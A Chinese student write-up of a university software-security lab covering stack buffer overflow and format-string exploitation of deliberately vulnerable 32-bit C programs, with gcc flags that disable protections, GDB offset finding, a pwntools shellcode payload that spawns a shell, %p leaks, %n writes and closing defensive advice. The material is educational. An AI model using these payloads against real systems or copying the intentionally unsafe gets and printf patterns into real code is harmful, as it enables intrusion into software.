做软件安全实验三那两周,我基本处于一种状态:白天编译漏洞程序,晚上用 GDB 单步跟栈,梦里都在追返回地址。实验三这个名字在课表上非常不起眼,但对大多数上过软件安全课的人来说,它就是一道坎。前两次实验还在教你怎么用 Linux、怎么静态看汇编,到实验三直接把你扔进内存破坏的世界:缓冲区溢出、格式化字符串、栈布局、返回地址劫持,每一个词单拎出来都能劝退一批人。
这次实验解决的是非常实际的问题:一个看起来正常的 C 程序,为什么会被一段精心构造的输入控制?攻击者又是怎么把一段恶意代码“塞”进进程里执行的?实验的目标不是教你写攻击工具,而是让你亲手走一遍漏洞从发现、利用到防御的完整链路。适合正在上软件安全课的学生参考,也适合刚入门二进制安全、想搞懂栈溢出到底是怎么回事的爱好者。说实话,只要把实验三完整做下来,你对“软件安全”这四个字的理解,比之前看十篇科普文章都管用。
1. 实验到底在做什么:拆解软件安全实验三的核心目标
1.1 为什么偏偏是“实验三”
实验三在整个课程体系里的位置很有意思。实验一通常是把 Linux 环境跑通,熟悉 gcc、gdb、objdump 这些基础工具;实验二一般会做反汇编和静态分析,让你能读懂简单的汇编指令。到了实验三,才真正开始接触“漏洞”本身。
我记得第一次打开实验手册时,看到要求是“实现一个缓冲区溢出漏洞的利用,理解栈帧结构,并完成格式化字符串漏洞的分析”,当时心里是发怵的。但做完以后回头再看,这个安排很合理:前两次实验积累的工具操作能力,到实验三全都被调动起来——编译要写参数,调试要开 GDB,分析要反汇编,构造输入要写 Python 脚本。这其实是一次集中锻炼,也是后面学习 ROP、ret2libc、堆漏洞这些进阶内容的基础。
不同学校在实验三上的具体题目可能略有差别。我们学校当时是把“缓冲区溢出”和“格式化字符串”两个漏洞点放在一起,要求各写一份实验报告。后来和南邮的朋友交流,发现他们软件安全实验三的核心内容也大差不差,无非是实验指导书里给的漏洞函数不同、防护机制的开关设置不同。基本上都是从栈溢出入手,再往格式化字符串扩展。
1.2 这次实验覆盖的知识点地图
如果要把实验三涉及的知识点画成一张图,会非常像软件安全架构图里“应用层—系统层—防护层”的映射关系。最底层是进程的内存布局:代码段、数据段、栈、堆分别在哪,栈为什么从高地址往低地址增长;往上一层是函数调用约定,call 指令到底压了什么、leave 和 ret 做了什么;再往上是漏洞产生的根因,比如 gets 函数存在边界检查缺陷,printf 函数把用户输入当作格式串解析;最上面一层是系统防护机制,也就是栈不可执行、栈保护、地址随机化这些。
很多同学做实验时只盯着“怎么让程序崩溃”或者“怎么拿到 shell”,一旦出了问题就一头雾水。我的建议是,先花半小时把这个架构理清楚。你在实验报告里画的软件安全架构图不需要多华丽,但至少要把输入点、漏洞函数、内存操作、防护机制这几层标出来。老师看到这种报告,第一印象就会好很多,因为你展示的是“理解”,而不是单纯“跑通了”。
1.3 实验环境与前置技能
说句实在话,实验三最大的门槛还不是漏洞本身,而是环境。如果你用的是 Windows,还想着在 Visual Studio 里编译 C 程序做栈溢出,那基本是在跟自己过不去。课程要求的实验环境一般是 Linux,而且最好是一个干净的 32 位 Ubuntu 虚拟机。
前置技能其实没有想象中那么高。你不需要成为汇编专家,但至少要看得懂这几条指令:push、pop、call、leave、ret、mov。如果之前没接触过,可以先用objdump -d反汇编一个小程序,对照 C 源码一行行看,很快就能建立感觉。另外就是 Python 的基础用法,特别是处理字节串,因为构造 payload 时经常要跟b"\x90\x90"这种东西打交道。
我当时遇到的最大问题是切换环境太频繁,一会儿用 WSL,一会儿用 VirtualBox。实验三建议固定在一个环境里做完,因为地址偏移、工具链版本都会影响结果。你要是中途换环境,前面调好的 offset 可能全部作废,非常浪费时间。
2. 环境搭建与工具链:别把时间浪费在编译参数上
2.1 虚拟机与系统选择
我的建议是直接装 32 位的 Ubuntu 18.04 或者 20.04。为什么强调 32 位?因为实验三涉及栈布局分析,32 位程序的栈帧结构更简单,函数参数直接压栈,地址也都在 0x0804xxxx 附近,写起来容易理解。用 64 位程序做也不是不行,但你会额外遇到 register 传参、RIP 高位清零、堆栈对齐这些问题,对新手来说属于“还没学会走就想跑”。
虚拟机软件用 VirtualBox 就行,免费而且学校机房一般也装了。装完系统以后,建议立即拍一个快照,后面编译环境被我折腾坏过好几次,有了快照可以一秒恢复。如果你不想装虚拟机,用 WSL1 也能跑大多数实验,但 WSL2 默认开启 ASLR,某些调试场景行为会和真实 Linux 有一点差异,需要额外关闭。按我实测下来,还是 VirtualBox + Ubuntu 最稳。
2.2 那些必须背下来的 gcc 编译参数
实验三的漏洞程序很多是老师给的,但为了自己复现,我建议你亲手写一个。编译时如果不加参数,现代 gcc 默认开启的防护机制会把漏洞堵死,导致你无论如何都触发不了溢出。所以编译命令需要这样写:
sudo apt update sudo apt install gcc-multilib gdb python3-pip pip3 install pwntools gcc -m32 -fno-stack-protector -z execstack -no-pie -g vuln.c -o vuln这里每个参数都有明确含义,我都会在报告里写清楚:
| 参数 | 作用 | 去掉会怎样 |
|---|---|---|
-m32 | 编译成 32 位程序 | 默认变 64 位,栈帧和传参方式完全不同 |
-fno-stack-protector | 关闭栈 canary 保护 | gcc 会在返回地址前插入随机值,溢出直接触发 abort |
-z execstack | 允许栈上代码执行 | NX 开启,栈上的 shellcode 无法执行,只能考虑 ret2libc |
-no-pie | 关闭位置无关可执行文件 | 开启 PIE 后,代码段基址随机化,跳转地址很难固定 |
-g | 生成调试信息 | GDB 里看不到源码和变量地址,分析效率大降 |
第一次做实验时,我因为漏加了-no-pie,导致每次运行程序加载地址都在变,GDB 里看到的地址和正常运行时对不上,折腾了很久才反应过来。建议编译后用checksec确认一下:
checksec --file=./vuln如果输出里Stack是Canary found或NX enabled,说明参数没写全。把防御机制逐项关闭后,程序才能暴露原始漏洞。
2.3 必备工具清单与安装
实验三真正高频使用的工具其实只有四个:gcc、gdb、Python、checksec。但 gdb 裸用效率太低,我建议装一个插件,pwndbg或者peda都行。pwndbg 会直接把寄存器、栈内容、反汇编信息全部打印出来,省去大量重复输入命令的时间。
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.shPython 这边主要用 pwntools,它提供了打包整数、生成 pattern、连接本地进程、接收输出等一整套封装。安装很简单,pip3 install pwntools,注意要装到 Python 3 环境下。
除此之外,objdump、readelf、file这几个命令是系统自带的,要会基本用法。readelf -s可以查符号地址,objdump -d可以反汇编,file可以确认是不是 ELF 32 位。工具不在多,能顺手就行。
3. 缓冲区溢出实验:从栈布局到劫持控制流
3.1 先理解函数调用时栈上发生了什么
缓冲区溢出的本质是:程序往一个有限大小的缓冲区里写了超过容量的数据,多出来的数据就覆盖了栈上相邻的内存区域,其中最关键的是返回地址。一旦返回地址被篡改,函数执行完ret指令后,CPU 就会跳到攻击者指定的位置继续执行。
我用一个最简单的例子说明。下面这段代码写了一个有漏洞的函数:
#include <stdio.h> #include <string.h> void vulnerable() { char buf[64]; gets(buf); printf("Your input: %s\n", buf); } int main() { vulnerable(); return 0; }gets函数会一直从标准输入读取,直到遇到换行符,它不检查缓冲区大小。当 main 调用 vulnerable 时,栈上的布局从高地址到低地址依次是:调用者环境、返回地址、保存的 EBP、局部变量buf[64]。也就是说,buf在低地址,返回地址在更高的地址。数据从低地址向高地址覆盖,所以只要输入超过 64 字节,多出的部分就会先覆盖保存的 EBP,再覆盖返回地址。
你可以用生活里的乐高积木来类比:栈上的内存就像一排摆好的积木,返回地址是其中最关键的一块。你本来只想在第一个格子里放积木,但gets不管,它一路叠下去,把后面关键位置的积木全推歪了。CPU 执行到ret时,就会拿到一个被篡改的地址,程序流程彻底失控。
3.2 找到溢出点并计算偏移
知道了原理,下一步就是确定输入多少个字节后,刚好能覆盖返回地址。这个“刚好”的位置被称为偏移(offset)。手工数 64 字节太容易出错,我推荐用 pwntools 的 cyclic 模式:
python3 -c 'from pwn import *; print(cyclic(200).decode("latin-1"))' > input.txt gdb ./vuln -q run < input.txt程序崩溃后,GDB 会显示类似EIP: 0x6161616c的错误。0x6161616c对应的正好是 cyclic 生成字符串里的四个字符,用下面的命令就能反查出偏移:
python3 -c 'from pwn import *; print(cyclic_find(0x6161616c))'这时会输出类似76的数字。为什么是 76 而不是 64?因为 64 字节填满buf后,还有 4 字节覆盖了保存的 EBP,从第 68 字节开始才轮到返回地址。在实际实验中,不同题目缓冲区大小不同,所以一定不要手算,直接用 cyclic 是最靠谱的。
我踩过最大的坑是:在 GDB 里跑得到的 EIP 偏移,和直接命令行运行时并不完全一致。原因是 GDB 会额外压入一些环境变量和调试信息,导致栈地址整体偏移几十字节。处理办法是尽量在 GDB 里完成偏移计算,后面真正发送 payload 时再用 pwntools 的process启动程序验证。
3.3 构造 payload:从 shellcode 到控制返回地址
当栈可执行且关闭 ASLR 时,最简单的利用方式是往缓冲区塞一段 shellcode,然后把返回地址覆盖成 shellcode 的起始地址。步骤分三步:
第一步,确定 shellcode 所在地址。我通常是在 GDB 里下断点,然后查看buf的地址:
gdb ./vuln -q break vulnerable run print &buf输出类似$1 = (char (*)[64]) 0xffffd0a0,这里的0xffffd0a0就是 buf 的栈地址。
第二步,生成 payload。经典 shellcode 会 execve("/bin/sh"),pwntools 已经帮我们封装好了:
from pwn import * offset = 76 buf_addr = 0xffffd0a0 shellcode = asm(shellcraft.i386.linux.sh()) payload = shellcode payload = payload.ljust(offset, b'\x90') payload += p32(buf_addr)b'\x90'是 NOP 指令,用来填充 shellcode 与返回地址之间的空隙,即使跳转地址有一两个字节的偏差,也有可能滑进 shellcode 里。
第三步,发送 payload 并交互:
p = process('./vuln') p.sendline(payload) p.interactive()如果一切顺利,终端就会进入一个 shell。注意这里sendline会追加\n,对应 gets 读取完一行。如果没进入 shell,最常见的原因是地址差了几个字节,可以先关闭系统的 ASLR 再试:
sudo sysctl -w kernel.randomize_va_space=03.4 开启防护后的绕过思路
实验三一般不会要求你只在一个“裸奔”环境里做利用,老师会问:如果把编译参数里的-z execstack去掉,换成-fstack-protector,程序还安全吗?这就涉及到绕过思路,至少要知道概念。
第一个是 NX 开启后,栈上代码不能执行。这时最经典的做法是 ret2libc:不再跳到 shellcode,而是跳到系统已有的system函数,参数指向/bin/sh字符串。因为system在 libc 里,NX 保护只限制数据段不可执行,不影响 libc 的代码段。第二个是 canary 开启后,函数返回前会检查一个随机数是否被破坏。要绕过它,通常需要利用另一个信息泄露漏洞先把 canary 读出来,然后在 payload 里保持原值写回去。
第三个是 ASLR 开启后,栈、libc、堆的基址都会随机化。实验环境里最简单的是先泄露一次 libc 地址,再用相对偏移计算出system和/bin/sh的真实地址。这些内容其实是实验四、实验五的主战场,但实验三能提前理解“保护机制不是万无一失的”,对后面的学习帮助特别大。
4. 格式化字符串实验:能把栈数据读出来也能写进去
4.1 格式化字符串漏洞为什么存在
第二个核心实验是格式化字符串漏洞。它的触发代码通常长这样:
#include <stdio.h> int main() { char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); return 0; }问题在最后一行:printf的第一个参数本应是格式串,比如"Hello %s",但这里直接把用户输入当成了格式串。如果输入%x、%p、%n这类格式符,printf会认为这些格式符后面还有对应的参数,于是去栈上读取并不存在的“参数”。这就是格式化字符串漏洞的本质:格式串和数据没有分离。
生活里可以打个比方:格式串像自助餐的取餐券,上面写什么就取什么。你本来应该自己写一张明确的券("Hello %s"),结果却把顾客填写的菜单直接当成了取餐券。菜单里写了一句“再来点甜点 %x”,后厨就会莫名奇妙地从冰箱里翻出一块本不该出现的食材。
4.2 利用 %p 和位置参数泄露内存
格式化字符串的第一步,通常是泄露内存内容。输入一串AAAA.再加上若干%p,比如:
echo 'AAAA.%p.%p.%p.%p.%p.%p.%p' | ./fmt输出中会出现类似AAAA.0x41414141.0x...的内容。0x41414141就是 ASCII 字符AAAA的十六进制表示,说明我们的输入被printf当成了第一个参数。这里要引入位置参数的概念:%7$p表示直接读取第 7 个参数。如果我输入'AAAA%7$p',输出是AAAA0x41414141,那就说明输入内容对应的参数位置是 7。
定位后,泄露地址就很简单了。比如栈上某个位置保存了 main 函数的返回地址,把它打出来,就能算出程序基址;如果某个位置保存了 libc 地址,就可以算出 libc 基址。这一步在很多真实漏洞利用里都是前置操作,因为先要泄露地址,才能构造后续 payload。
我当时第一次看到0x41414141从屏幕里打印出来时,感觉非常神奇:我明明只输入了字符,它却把字符在内存里的原始编码还原给了我。这种“信息泄露”虽然不能直接控制程序,但为后面所有绕过手段提供了关键情报。
4.3 任意地址写的思路
格式化字符串漏洞的终极能力是用%n实现任意地址写。%n会把“到目前为止已经输出的字符数”写入到一个指针指向的地址。所以只要把目标地址放到 payload 前面,再配合位置参数,就能向这个地址写入一个数值。
一个最简单的演示思路是:先声明一个全局变量secret,利用格式化字符串改变它的值。如下:
#include <stdio.h> int secret = 0; int main() { char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); printf("\nsecret = 0x%x\n", secret); return 0; }如果我想把secret改写成一个非零值,可以构造这样的 payload(假设 secret 地址是0x0804a048,偏移是 7):
from pwn import * addr = 0x0804a048 payload = p32(addr)然后输入到程序后,由于printf会把addr当成一个地址去访问,不满足要求。实际上通常需要p32(addr) + b'%7$n',意思是“把已经输出的字符数写入到第 7 个参数指向的地址”。为了让写入的值可控,还需要用%0c、%1c这类来凑字符数。
这部分很容易把自己绕晕。我当时卡了很久,后来才明白:写入的值是“已经输出的字符数”,不是固定的,所以你要先计划好,在第几个位置之前输出了多少字符,计算好差值再补上。最笨也是最实用的办法是分多次写入,每次只写一个字节,用%hhn控制写入多少,避免一次输出大量无用字符。
5. 异常排查与收获记录:从崩溃到拿到 shell
5.1 常见问题速查表
实验三几乎所有人都会在某个环节卡住,我这里整理一份速查表,都是我自己踩过的坑:
| 现象 | 可能原因 | 解决办法 |
|---|---|---|
| 输入 payload 后毫无反应 | 偏移算错,返回地址覆盖错位置 | 用 cyclic 重新计算偏移 |
| GDB 里能跑,命令行不能 | 栈地址受环境变量影响而偏移 | 关闭 ASLR,或在脚本里设置统一环境变量 |
| shellcode 所在地址跳不进去 | 地址差了几字节 | 用 NOP 雪橇,取消 ASLR,或用 GDB 确认地址 |
程序报stack smashing detected | canary 没有被关闭 | 编译时加-fno-stack-protector |
格式化字符串输出一堆地址但找不到AAAA | 位置参数没有找对 | 逐个试%1$p到%20$p |
%n写入后程序崩溃 | 目标地址不可写 | 选择可写地址,比如全局变量或 GOT 表项 |
| 局域网里实验服务器无法连接 | 环境问题,或是远程防护不同 | 先本地调通,再考虑远程调试 |
5.2 排查思路与调试验证
遇到问题千万别蒙头瞎试,按照“先静态、再动态、最后验证”的顺序来。
先静态:用objdump -d vuln或者readelf确认程序确实是 32 位、没有 canary、栈可执行。很多问题在编译阶段就已经注定了,加个参数就能解决。
再动态:用 GDB 在关键位置下断点,比如break vulnerable、break *0x0804xxxx,然后单步执行,观察esp、ebp、eip的变化。格式化字符串问题可以通过查看printf调用前的栈内容来判断偏移对不对。GDB 是最好的“透视眼”,比一遍遍改 payload 高效得多。
最后验证:pwntools 跑通本地后,可以多跑几次,看稳定性。尤其是地址相关的 payload,如果第一次成功第二次失败,基本就是 ASLR 没关或者地址未对齐。实验三阶段不用追求“无敌稳定”,关键是能稳定复现,这个目标其实就已经很了不起了。
5.3 做实验报告的一点建议
实验报告不是流水账,而是要解释“为什么”。我见过很多同学直接贴代码和截图,老师问“为什么偏移是 76”答不上来。建议报告里放一张软件安全架构图,把输入点、漏洞函数、内存布局、防护机制标注清楚,哪怕是用文字描述都行。
再一个是要准确记录实验环境。gcc 版本、Ubuntu 版本、是否关闭 ASLR、编译参数,这些必须写在报告开头,不然后面所有复现都会对不上。南邮那边做类似实验时也强调环境一致性,因为这种东西差一个参数,结果就是天壤之别。
最后,写完利用步骤以后,记得补一段“防御建议”。比如用fgets替代gets、开启栈保护和 NX、使用-Wl,-z,noexecstack、对输入做长度限制。软件安全实验不是教你怎么当攻击者,而是让你在亲手攻击以后,真正知道防御为什么要这么做。老师看到你能写出防御方案,就知道你是真的理解了这个漏洞。
做完整套实验三,我最大的体会是:安全漏洞并不神秘,它往往就藏在一个没有检查边界的函数、一个没有分离格式串的printf里。亲手把一个“看起来正常”的程序打到崩溃,又一点一点修复它、保护它,这种体验远比考试拿高分来得实在。如果你正卡在偏移计算或者格式化字符串的某个细节上,别急着怀疑自己,把环境参数重新检查一遍,把栈里每个字节的位置都画清楚,大概率就能走出来。实验三这道坎跨过去之后,后面再学 ROP、堆利用,你都会觉得顺很多。